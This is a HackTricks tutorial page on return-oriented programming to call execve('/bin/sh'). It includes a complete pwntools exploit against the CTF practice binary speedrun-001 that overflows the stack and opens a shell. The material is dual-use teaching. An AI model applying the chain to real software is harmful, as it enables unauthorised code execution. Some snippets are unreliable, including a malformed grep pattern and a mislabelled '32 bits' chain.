188 lines
6.9 KiB
Markdown
188 lines
6.9 KiB
Markdown
# ROP - call sys\_execve
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
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* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
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* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
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* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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In order to prepare the call for the **syscall** it's needed the following configuration:
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* `rax: 59 Specify sys_execve`
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* `rdi: ptr to "/bin/sh" specify file to execute`
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* `rsi: 0 specify no arguments passed`
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* `rdx: 0 specify no environment variables passed`
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So, basically it's needed to write the string `/bin/sh` somewhere and then perform the `syscall` (being aware of the padding needed to control the stack).
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## Control the registers
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Let's start by finding **how to control those registers**:
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```c
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ROPgadget --binary speedrun-001 | grep -E "pop (rdi|rsi|rdx\rax) ; ret"
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0x0000000000415664 : pop rax ; ret
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0x0000000000400686 : pop rdi ; ret
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0x00000000004101f3 : pop rsi ; ret
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0x00000000004498b5 : pop rdx ; ret
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```
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With these addresses it's possible to **write the content in the stack and load it into the registers**.
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## Write string
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### Writable memory
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Frist you need to find a writable place in the memory
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```bash
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gef> vmmap
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[ Legend: Code | Heap | Stack ]
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Start End Offset Perm Path
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0x0000000000400000 0x00000000004b6000 0x0000000000000000 r-x /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
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0x00000000006b6000 0x00000000006bc000 0x00000000000b6000 rw- /home/kali/git/nightmare/modules/07-bof_static/dcquals19_speedrun1/speedrun-001
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0x00000000006bc000 0x00000000006e0000 0x0000000000000000 rw- [heap]
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```
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### Write String
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Then you need to find a way to write arbitrary content in this address
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```python
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ROPgadget --binary speedrun-001 | grep " : mov qword ptr \["
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mov qword ptr [rax], rdx ; ret #Write in the rax address the content of rdx
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```
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#### 32 bits
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```python
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'''
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Lets write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop += popRdx # place value into EAX
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rop += "/bin" # 4 bytes at a time
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rop += popRax # place value into edx
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rop += p32(0x6b6000) # Writable memory
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rop += writeGadget #Address to: mov qword ptr [rax], rdx
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rop += popRdx
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rop += "//sh"
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rop += popRax
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rop += p32(0x6b6000 + 4)
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rop += writeGadget
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```
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#### 64 bits
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```python
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'''
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Lets write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop = ''
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rop += popRdx
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rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
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rop += popRax
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rop += p64(0x6b6000) # Writable memory
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rop += writeGadget #Address to: mov qword ptr [rax], rdx
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```
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## Example
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```python
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from pwn import *
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target = process('./speedrun-001')
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#gdb.attach(target, gdbscript = 'b *0x400bad')
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# Establish our ROP Gadgets
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popRax = p64(0x415664)
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popRdi = p64(0x400686)
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popRsi = p64(0x4101f3)
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popRdx = p64(0x4498b5)
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# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
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writeGadget = p64(0x48d251)
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# Our syscall gadget
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syscall = p64(0x40129c)
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'''
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Here is the assembly equivalent for these blocks
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write "/bin/sh" to 0x6b6000
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pop rdx, 0x2f62696e2f736800
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pop rax, 0x6b6000
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mov qword ptr [rax], rdx
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'''
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rop = ''
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rop += popRdx
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rop += "/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
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rop += popRax
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rop += p64(0x6b6000)
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rop += writeGadget
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'''
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Prep the four registers with their arguments, and make the syscall
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pop rax, 0x3b
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pop rdi, 0x6b6000
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pop rsi, 0x0
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pop rdx, 0x0
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syscall
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'''
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rop += popRax
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rop += p64(0x3b)
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rop += popRdi
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rop += p64(0x6b6000)
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rop += popRsi
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rop += p64(0)
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rop += popRdx
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rop += p64(0)
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rop += syscall
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# Add the padding to the saved return address
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payload = "0"*0x408 + rop
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# Send the payload, drop to an interactive shell to use our new shell
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target.sendline(payload)
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target.interactive()
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```
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## References
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* [https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html](https://guyinatuxedo.github.io/07-bof\_static/dcquals19\_speedrun1/index.html)
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<details>
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<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
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* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
|
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
|
* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
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* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud).
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</details>
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